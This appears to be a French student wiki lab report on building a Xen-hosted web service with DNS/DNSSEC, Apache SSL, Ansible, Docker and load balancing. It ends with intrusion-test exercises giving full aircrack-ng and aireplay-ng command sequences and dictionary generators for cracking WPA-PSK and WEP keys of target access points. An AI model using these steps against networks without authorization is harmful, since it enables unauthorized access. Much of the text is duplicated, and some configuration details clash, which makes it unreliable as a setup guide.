<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

Fichier:Chlamydiae balancer result.png

2019-12-16T21:20:12Z

Zbriois :

TP sysres IMA5sc 2019/2020 G4

2019-12-16T21:18:55Z

Zbriois : /* Equilibreur de charge */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

